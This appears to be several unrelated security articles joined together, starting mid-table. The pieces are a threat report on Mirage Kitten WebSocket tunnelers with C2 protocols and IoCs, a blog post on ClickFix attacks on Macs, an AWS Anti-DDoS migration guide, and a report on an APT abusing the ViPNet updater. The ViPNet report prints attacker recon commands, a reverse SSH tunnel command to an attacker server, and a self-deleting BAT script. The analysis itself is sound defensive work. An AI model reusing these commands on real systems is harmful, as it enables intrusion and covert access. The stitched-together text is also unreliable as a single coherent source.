| 93 | Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations. |
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1 Host: smartconnect.azurewebsites.net Upgrade: websocket Connection: Upgrade User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
| HTTP response | Description |
| 407 (Proxy Auth Required) | Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times. |
| 101 (Switching Protocols) | Success. Proceeds to WebSocket upgrade and authentication. |
| Other | Connection failed. Closes all handles, enters backoff. |
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
| Offset | Size | Field | Encoding |
| 0 | 1 | type | Message type (1–9) |
| 1 | 4 | connId | Tunnel connection identifier |
| 5 | 1 | flags | Status or error indicator |
| 6 | 2 | dataLen | Payload length |
| 8 | var | payload | Message data |
Every message is at least 8 bytes. Seven message types are actively used:
| Type | Name | Direction | Description |
| 1 | CONNECT | Server -> Client | Open a new TCP tunnel to a SOCKS5 target address |
| 2 | CONNECT_RESPONSE | Client -> Server | Confirm the connection was established |
| 3 | DATA | Bidirectional | Relay TCP traffic through the tunnel |
| 4 | DISCONNECT | Bidirectional | Close a tunnel connection |
| 5 | PING | Bidirectional | Keepalive probe, sent every 30 seconds by timer |
| 6 | PONG | Bidirectional | Keepalive reply |
| 9 | FLOWCTRL | Bidirectional | Throttle data flow to prevent buffer overrun |
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
| Type byte | Description |
| 0x01 | IPv4 address (4 bytes) |
| 0x03 | Domain name (1-byte length + string) |
| 0x04 | IPv6 address (16 bytes) |
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
"<<STARTXX>>" "aecert.org" 443 5000 0 "4B8CC395-A26F-41F1-A1DC-8B993D9D41D2" "<<ENDXX>>"
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
| Command | Description |
| OPEN: | Creates a proxy/tunnel session to a target selected by the operator. |
| DNS: | Performs hostname or address resolution and returns the result. |
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll
ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498
BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll
smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net
AI is getting better and better at solving CAPTCHAs. This makes website creators — who still need to verify that they’re dealing with humans rather than bots — come up with increasingly sophisticated proof-of-humanity checks. It seems an average user would no longer be surprised if asked to recite a poem — or, say, dance Gangnam Style — just to access certain websites. The latter could double as an age check, but I digress.
Attackers have learned to exploit this variety of sometimes bizarre checks to their advantage. In our blog, we’ve talked more than once about the ClickFix attack technique, which is all about slipping a malicious instruction to the victim under the guise of yet another CAPTCHA. Historically, this technique has been used to attack users of Windows-powered devices. However, researchers recently discovered a campaign that targets macOS users. In this post, we talk in more detail about the ClickFix attack technique, the new campaign aimed at Mac users, and the criminals’ goals.
Many common attacks and scams rely on social engineering, or more simply put — manipulation. Instead of looking for software vulnerabilities, attackers try to trick the user into doing the dirty work themselves: opening a malicious file, clicking a link to a fake website, sharing sensitive data, or running a harmful command.
The simplest example of social engineering is scam calls, where criminals pose as a boss, neighbor, bank security specialist, police officer… the list goes on almost indefinitely. And if you think that only, let’s say, not-so-smart users fall for these tricks, you’re wrong: social engineering has been used to hack the CIA chief’s email, hijack the X (Twitter) accounts of Elon Musk and Joe Biden, and steal half a billion dollars. In our post, They’re reading you like a book: scammers’ favorite tricks, we take a close look at their favorite techniques — give it a read so you don’t end up sharing company with those famous victims.
The ClickFix attack also relies on social engineering, except the scammers aren’t betting on the victim’s fear of an authority figure, but rather on their trust in technology and their habit of following instructions — even when they don’t quite make sense.
In a classic ClickFix scenario, a user visits a compromised or fake website and, instead of the expected page, sees a notification that there’s an issue. The site might claim that to continue, you need to complete an extra verification check, update your browser, or fix an error.
ClickFix: how to infect your own computer with malware in three easy steps. One of the classic variations of the attack targeting Windows users Source
Next, the victim is prompted to follow a few simple steps that look harmless enough at first glance. Usually, this involves copying some text from the attackers’ website, opening the Run window, pasting the text there, and hitting Enter.
In reality, the text is a malicious command that downloads and runs malware on the device. Since the user carries out all the steps themselves, the operating system’s security mechanisms and built-in warnings are often dismissed as just another part of the instructions. In our blog, we’ve covered the typical pretexts used to trick victims into taking dangerous actions; you can read more about them here.
The ClickFix attack scheme quickly began spawning various spin-offs, such as FileFix and ConsentFix. Until recently, the victims of ClickFix and its variants were mostly Windows users, while Mac fans encountered it much more rarely. But lately, the number of ClickFix attacks targeting Apple device owners has been on the rise.
The ClickFix attack on Macs, as documented by cybersecurity researchers, begins with the classic fake CAPTCHA scenario. To pass the proof-of-humanity check, attackers prompt the user to copy a command, open Terminal, and paste the text into it.
The contents of the command that the user is prompted to run via Terminal. Source
The more interesting part is what happens after the malicious command is run. First, it downloads a malicious DMG — the standard format for disk images containing installation files in macOS — from a remote server, and saves it to the /tmp temporary folder under a random name. Then the script mounts the disk image without showing it in Finder or creating a desktop icon — keeping it hidden from the user. After that, the script searches the disk image for an app or installation package, and automatically launches it once found.
One case documented in the researchers’ findings involved the widespread AMOS (Atomic macOS Stealer) infostealer being distributed this way. To gain extra privileges on the system, the stealer Trojan displays a fake macOS system authentication window tricking the user into willingly typing in their password.
After the malware is installed, the attackers steal literally everything they can get their hands on from the victim’s device. Atomic macOS Stealer extracts sensitive information stored in Chromium-based browsers (Google Chrome, Microsoft Edge, Brave, Opera, Arc, Vivaldi, CocCoc, and Yandex), as well as Firefox-based ones (LibreWolf, SeaMonkey, Tor Browser, Waterfox, and Zen Browser), such as the following:
On top of all that, the attackers also steal PDF, TXT, and RTF files from the victim’s device. The criminals are especially interested in crypto apps; specifically: desktop crypto wallets like Exodus, Electrum, Atomic Wallet, Wasabi Wallet, Bitcoin Core, Litecoin Core, DashCore, Guarda, Binance Wallet, Dogecoin Wallet, and Tonkeeper. The malware also gathers data from more than 200 cryptocurrency-related browser extensions.
But that’s still not everything…
It also targets the Telegram and Discord desktop apps. The malware doesn’t spare Apple’s ecosystem either — stealing Safari cookies, notes from Apple Notes, and passwords stored in the built-in Apple Keychain.
Once a device is infected, Atomic macOS Stealer whisks away everything valuable. Source
All of the collected information is added to a ZIP archive and uploaded to the attackers’ server. In addition, the malware replaces legitimate versions of hardware crypto wallet apps — specifically Ledger Wallet and Trezor Suite — with malicious fakes.
Together, this trove of data gives attackers broad opportunities to further compromise accounts, steal digital assets, and launch new attacks on behalf of the victim.
As social engineering attacks continue to grow, users need to be more vigilant than ever. That goes for everything from chatting with strangers on the phone or in messaging apps to everyday online activity.
Read our posts to learn about other threats facing Apple device owners:
- Crypto thieves ramping up attacks on Apple users
- The iPhone — invincible no more: a look at DarkSword and Coruna
- Predator vs. iPhone: the art of invisible surveillance
- AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
- SparkCat trojan stealer infiltrates App Store and Google Play, steals data from photos
July 29, 2026: We’ve updated this post to clarify the AWS Firewall Manager migration path.
Application-layer distributed denial of service (DDoS) attacks are difficult to detect because they closely resemble legitimate traffic. HTTP request floods are now among the most common vectors targeting web applications, using valid-looking requests that blend in with normal user activity.
In June 2025, AWS launched the AWS WAF Anti-DDoS managed rule group, built specifically for application-layer (L7) DDoS protection. AWS Shield Advanced is adopting it as the default application-layer protection, and in time as the only one. On July 27, AWS Shield Advanced begins adding the Anti-DDoS managed rule group to eligible web access control lists (ACLs) in Count mode. It will not cause any interruption to your traffic alongside your existing L7 automatic mitigation and WAF rules. In this blog post, we provide details regarding the Anti-DDoS managed rule group and when the change is expected to reach your web ACLs. You will understand the phases and steps that you need to take before the finish date, including how the monitoring and metrics will change.
The Anti-DDoS managed rule group builds on what Shield Advanced automatic mitigation already provides. It profiles your traffic, learns what normal traffic looks like for your application, and establishes a baseline in minutes rather than hours. When an attack starts, it reacts within seconds and there are no health checks to configure. The rule group adds a Challenge action to the Block and Count actions you already use. Challenge decisions are driven by the AMR labels that mark the suspicion level of each inspected request. One option is a silent browser challenge, which has a background verification that runs in the visitor’s browser with no interstitial page, so legitimate users are never interrupted while automated traffic is filtered out. You can also exclude workload paths that don’t support Challenge, which fall back to Block mitigations instead. Sensitivity is configurable to Low, Medium, or High, and you set it separately for Block and Challenge. Block and Challenge are tuned independently; meaning you can run Challenge at high sensitivity to catch more suspicious traffic while keeping Block low to avoid dropping legitimate requests or reverse it for a stricter posture.
The rest is about cost and visibility:
event-detected, graduated suspicion levels, and specific rules. Match on those labels in your own AWS WAF rules when you need logic the rule group doesn’t cover.AWS Shield Advanced isn’t required to use any of these features. Shield Advanced subscribers get the rule group included with AWS WAF and any customer can turn it on independently. See AWS WAF pricing for more information on costs.
Shield Advanced upgrades application-layer DDoS protection in five phases. The following dates are when AWS will act automatically, not the earliest date when you can act. After the rule group is deployed in Count mode on July 27, 2026, you can begin migrating right away rather than waiting for the October auto-upgrade. There’s no window where protection lapses. Your current automatic mitigation stays active through every phase until the Anti-DDoS managed rule group takes over. That handoff happens in a single operation, with no cutover window and no gap for your traffic flows.
AWS adds the Anti-DDoS managed rule group in Count mode to every web ACL eligible for this rollout. Eligible means any Shield Advanced web ACL with at least one resource using application-layer automatic mitigation that isn’t already running the Anti-DDoS rule group. This is a broader set than the web ACLs eligible for the October auto-upgrade (Phase 3), which applies a stricter test. The deployment rolls out gradually, starting July 27 and expected to finish by August 7, 2026, so different web ACLs might be updated on different days. There’s no impact to your traffic because the rule group watches and labels requests without acting on them while your existing automatic mitigation keeps running. Throughout the evaluation period, you receive DDoS events, metrics, and AWS WAF labels at no additional charge.
The existing automatic mitigation and the Anti-DDoS managed rule group run side by side each detecting independently. Automatic mitigation continues to protect your resources while the rule group operates in Count mode. To compare their detection results, use the DDoSAttackRequests metric, AWS WAF labels, and the Anti-DDoS dashboard. All Anti-DDoS managed rule group charges are waived during this period, including the subscription fee, per-request fees, and WCU consumption costs for the eligible web ACLs from phase 1.
For eligible web ACLs, the auto-upgrade mirrors your existing automatic mitigation configuration. The rule group inherits your current setting, so a Block configuration comes up in Block mode and a Count configuration comes up in Count mode in a single, atomic operation. The rule group takes over in the same step that disables automatic mitigation, so protection never drops for an instant. This is a handoff rather than a cutover with no window where your resources are unprotected. If you’d rather not upgrade you can opt out by contacting AWS Support before the auto-upgrade date.
You don’t have to wait for the October auto-upgrade to migrate. As soon as the rule group is deployed in Count mode between July 27 and August 7, 2026, you can move to it on your own schedule. This is the path to use for web ACLs that aren’t eligible for the Phase 3 auto-upgrade, meaning mixed-mode web ACLs or ones with resources that don’t have automatic mitigation enabled. Work with your AWS account team and AWS Support at any point in this window to plan and complete the migration. Eligible web ACLs are also upgraded automatically starting October 1 (Phase 3), so guided migration is mainly for the web ACLs the auto-upgrade can’t cover.
As of January 1, 2027, the Shield Advanced application-layer automatic mitigation feature will no longer be available. Resources that haven’t migrated to the Anti-DDoS managed rule group will lose automatic application-layer DDoS mitigation.
| Capability |
Shield Advanced application layer automatic mitigation |
Anti-DDoS managed rule group (AWSManagedRulesAntiDDoSRuleSet) |
| Feature type |
Shield Advanced automatic mitigation |
AWS WAF managed rule group |
| Detection and mitigation speed |
Requires a baseline period; mitigation varies per event |
Enhanced detection and faster mitigation |
| Configuration scope |
Per resource (Shield API) |
Per web ACL (AWS WAF API) |
| Mitigation actions |
Count, Block |
Count, Block, and Challenge |
| Sensitivity controls |
None |
Low, Medium, and High for both Block and Challenge |
| Non-HTML path handling |
N/A |
URI regex exemptions for Challenge |
| WCU consumption |
150 WCUs |
50 WCUs |
| Health checks |
Required (Amazon Route 53 health-based detection) |
Not required, provides automatic traffic profiling |
| Availability |
Shield Advanced only |
AWS WAF and Shield Advanced (see pricing) |
The existing automatic mitigation and the Anti-DDoS managed rule group use separate Amazon CloudWatch namespaces and metric structures. The rule group gives you three tiers of observability: tier 1 tells you an attack is happening, tier 2 shows which requests it flagged and why, and tier 3 shows what it did about them. You don’t need all three on day 1 because most customer teams start at tier 1 to confirm detection is working, then add the others as they tune.
You can detect DDoS events using two CloudWatch metrics, each with its own namespace.
| DDoSDetected (Shield) |
DDoSAttackRequests (Anti-DDoS managed rule group) |
|
| Namespace |
AWS/DDoSProtection |
AWS/WAFV2 |
| Requires Shield Advanced |
Yes |
No |
| Scope |
L3, L4, and L7 events |
L7 events only |
| Value during event |
Binary (0 or 1) |
Count of requests observed |
| Value outside event |
Reported once daily (keeps metric alive) |
Absent (no data points) |
| Dimensions |
ResourceArn |
Resource, ResourceType |
What this means for your existing alarms:
Sum >= 1 to detect any event, or set a volume threshold (for example, more than 10,000 requests per minute) for severity-based alerting.treat-missing-data to missing or notBreaching for alarms on this metric.Every request the Anti-DDoS managed rule group evaluates gets a label. Where tier 1 tells you an attack started, tier 2 shows which requests looked suspicious and how confident the rule group was. The labels surface as AWS WAF metrics in the AWS/WAFV2 namespace: AllowedRequests, BlockedRequests, and CountRuleMatch. Each carries the LabelName and LabelNamespace dimensions under the awswaf:managed:aws:anti-ddos: namespace.
Chart suspicion-level trends on a CloudWatch dashboard to see how an attack builds. Match on the labels in your own AWS WAF rules or dig into them in your AWS WAF logs with CloudWatch Logs Insights or Amazon Athena when you need to understand a specific event after the fact.
Where tier 2 shows what the rule group flagged, tier 3 shows what it did about those requests during an event. You’ll find these metrics as ChallengeRequests, BlockedRequests, and CountRuleMatch, each scoped by the rule label that produced it.
Watch these during a live event to see whether mitigation is keeping up. If you’re challenging far more requests than you’re blocking, your configuration might be too cautious, and you can raise the sensitivity level after you trust the numbers.
| Tier |
Automatic mitigation |
Anti-DDoS managed rule group |
| Event alarm |
DDoSDetected in AWS/DDoSProtection (binary, L3/L4/L7) |
DDoSAttackRequests in AWS/WAFV2 (request count, L7) |
| Detection labels |
None |
event-detected, ddos-request, suspicion levels, challengeable-request |
| Mitigation actions |
Not visible (Shield-managed rule group metrics not exposed) |
ChallengeAllDuringEvent, ChallengeDDoSRequests, DDoSRequests |
| Dashboard |
Shield console event history |
Shield console and Anti-DDoS dashboard in the AWS WAF console |
| Historical analysis |
Shield event history only |
AWS WAF logs (CloudWatch Logs, Amazon Simple Storage Service (Amazon S3), Amazon Data Firehose) |
Your Shield Advanced subscription includes the Anti-DDoS managed rule group for up to 50 billion requests per month, counted across your whole organization at the payer account level. For most customers that ceiling is well above normal traffic, so you won’t see a line item here unless you’re operating at very high volume. For the exact rates, see AWS WAF pricing and Shield Advanced pricing.
You aren’t charged for DDoS traffic while the Anti-DDoS managed rule group is actively mitigating, which means Block or Challenge mode rather than Count. This applies to AWS WAF request fees, Anti-DDoS managed rule group request fees, and Shield Advanced request charges. Leaving the rule group in Count mode past the evaluation period costs you the protection without the billing relief, so avoid staying in Count mode longer than you need to validate.
During the evaluation period (July 27 to September 30, 2026), the eligible web ACLs AWS auto-enrolled don’t incur per-request fees or WCU consumption, even when configured in Count mode.
The Anti-DDoS managed rule group works at the web ACL level, so every resource you associate with a web ACL shares that coverage. Before assuming a single resource accounts for the whole cost, look at how many resources sit behind each web ACL. A web ACL fronting 20 resources bills differently from one fronting 2, so check that count first and familiarize yourself with the workload protected by each web ACL.
Adding the Anti-DDoS managed rule group to a web ACL yourself isn’t part of the upgrade path, so standard pricing applies from the moment you enable it. The same is true for any resource that was already running the rule group before the rollout. To get the free evaluation, let the automatic rollout reach your web ACLs rather than adding the rule group ahead of it. There’s no penalty for adding it yourself; you just don’t receive the waiver on that web ACL.
If you manage web ACLs with AWS CloudFormation, AWS Cloud Development Kit (AWS CDK), Terraform, or other infrastructure as code (IaC), the auto-upgrade changes your infrastructure configuration outside your templates. Your code is still the source of truth, so you need to do two things. First, change where the protection is declared. Today you enable application-layer automatic mitigation through the Shield API (EnableApplicationLayerAutomaticResponse), configured per protected resource. The Anti-DDoS managed rule group is configured through the AWS WAF API instead (CreateWebACL and UpdateWebACL), as a managed rule group statement inside the web ACL, scoped per web ACL rather than per resource. In IaC terms, you remove the Shield automatic-response block (for example, Terraform’s aws_shield_application_layer_automatic_response) and add the WAF managed rule group statement shown in the following section. Second, pull the upgraded web ACL back into your tooling before your next deploy, or your pipeline will try to revert the change.
For the full statement in Terraform, CloudFormation, and the AWS CDK, plus how to sync state after the auto-upgrade (terraform plan, CloudFormation drift detection, cdk diff), see the iac-webacl-examples helper.
If you’re currently running a Shield Advanced policy in AWS Firewall Manager, check its Automatic application layer DDoS mitigation setting before you start, because that setting decides how much of this section applies to you. Where it reads Ignore or Disable, the policy isn’t managing that mitigation at all: whatever mitigation your resources have was enabled on the resources themselves, or through Shield, and that’s where you turn it off when the time comes.
If the Shield Advanced policy reads Enable, you first need to add or reuse an AWS WAF Firewall Manager policy, put the Anti-DDoS managed rule group in it and scope that policy to the same accounts and resources your Shield Advanced policy covers.
Keep the Shield Advanced policy in place throughout the process. Don’t remove accounts or resources from its scope, and don’t delete it. Firewall Manager revokes the Shield Advanced protections it created for anything that leaves scope, which ends L3 and L4 coverage, along with the application-layer mitigation you’re replacing. Instead, use a setting change to retire the older mitigation: when the new rule group is live and you’ve compared the two, set Automatic application layer DDoS mitigation to Disable on the Shield Advanced policy that currently reads Enable.
You can make this change in the console or as code. If you manage your Firewall Manager policies as code, don’t edit them in the console: add a new AWS WAF policy or update an existing one in your templates with the Anti-DDoS managed rule group included, and deploy it using the following Firewall Manager policies using IaC steps. Otherwise, use the console.
In the console, follow Creating an AWS Firewall Manager policy for AWS WAF to create the policy and reach the Edit policy rules page. Add the Anti-DDoS rule group, listed there as AWS AntiDDoS Protection for Layer 7 attacks (AWSManagedRulesAntiDDoSRuleSet), as a new rule group under First rule groups so it evaluates before your other managed groups, but below any Allow custom rules you use to fast-path known-good traffic.
If you protect CloudFront distributions, make this change in your Global policy, and repeat it in each AWS Regional policy for regional resources. Save the policy, and Firewall Manager rolls the change out to in-scope accounts, which can take a few minutes.
After being added, the rule group appears as the first rule group in the policy, as shown in the following screenshot:
Figure 1: AntiDDoS enabled
If you manage Firewall Manager policies as code, make the change in your template instead of the console. The Anti-DDoS managed rule group goes into the AWS WAF policy’s ManagedServiceData, a WAFV2 policy definition carried as a JSON string, added to the first rule groups so it evaluates early. For the ManagedServiceData JSON with CloudFormation, Terraform, and AWS CDK examples, see the firewall-manager-examples helper.
Whichever path you take, scope the policy to the same accounts and resources your Shield Advanced policy already covers, so no resource loses application-layer protection during the move.
Between July 27 and August 7, 2026, AWS will add the Anti-DDoS managed rule group in Count mode to Shield Advanced web ACLs that have resources using application layer automatic mitigation but not yet the Anti-DDoS rule group. After it reaches your web ACL, you can evaluate it, and migrate whenever you’re ready, without waiting for the October auto-upgrade.
awswaf:managed:aws:anti-ddos: namespace. Look at suspicion levels (low-suspicion-ddos-request, medium-suspicion-ddos-request, high-suspicion-ddos-request), event-detected, and challengeable-request to see per-request visibility into detected events.The Anti-DDoS managed rule group profiles your traffic within minutes and mitigates within seconds, where the automatic mitigation it builds on established its baseline over hours, and it gives you granular visibility into what it’s doing. The evaluation period exists so you can watch both systems run on your own traffic before anything changes. Spend the first few weeks in Count mode confirming the new detection matches what you see today, then move your alarms over and pick a sensitivity level you’re comfortable with. If you run a web ACL across several resources, or you manage rules through AWS Firewall Manager, contact AWS Support before you start so you don’t have to unwind anything later. The Shield Advanced application-layer automatic mitigation feature retires on January 1, 2027, and anything still relying on it needs to be migrated by then.
If you have feedback about this post, submit comments in the Comments section below.
UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.
UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.
UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.
We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.
On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.
The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.
After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.
The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.
The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:
AFD_RECV (0x12017)AFD_GET_TDI_HANDLES (0x12037)These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.
The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:
threadid: <Thread ID> pid=<PID>\r\n
After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.
Depending on the received command, there are two execution branches:
<ip_addr>:<port>
During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:
We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:
query user ipconfig /all ping 8.8.8.8 -n 1 net user /do net group /do dir "C:\Program Files (x86)" dir "C:\Program Files (x86)\infotecs\" dir "C:\Program Files (x86)\infotecs\ViPNet Administrator" dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export" dir "C:\Program Files (x86)\infotecs\ViPNet Client" dir "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\" dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>" dir c:\users\[username] query user dir C:\Users\Public\music
In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):
C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]
In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:
!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:
@echo off :loop if exist <selfpath> ( del /F /Q <selfpath> if exist <selfpath> goto loop ) sc stop iplircontrol >nul timeout 5 > nul sc start iplircontrol > nul (goto) 2>nul & del /F /Q %0
If the command text did not match the above list, the command is executed using cmd.exe.
During the analysis of one of the wtsapi32.dll file samples, we found an unused string:
GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n
It refers to the news portal sina.com, which is popular in China.
In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.
Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.
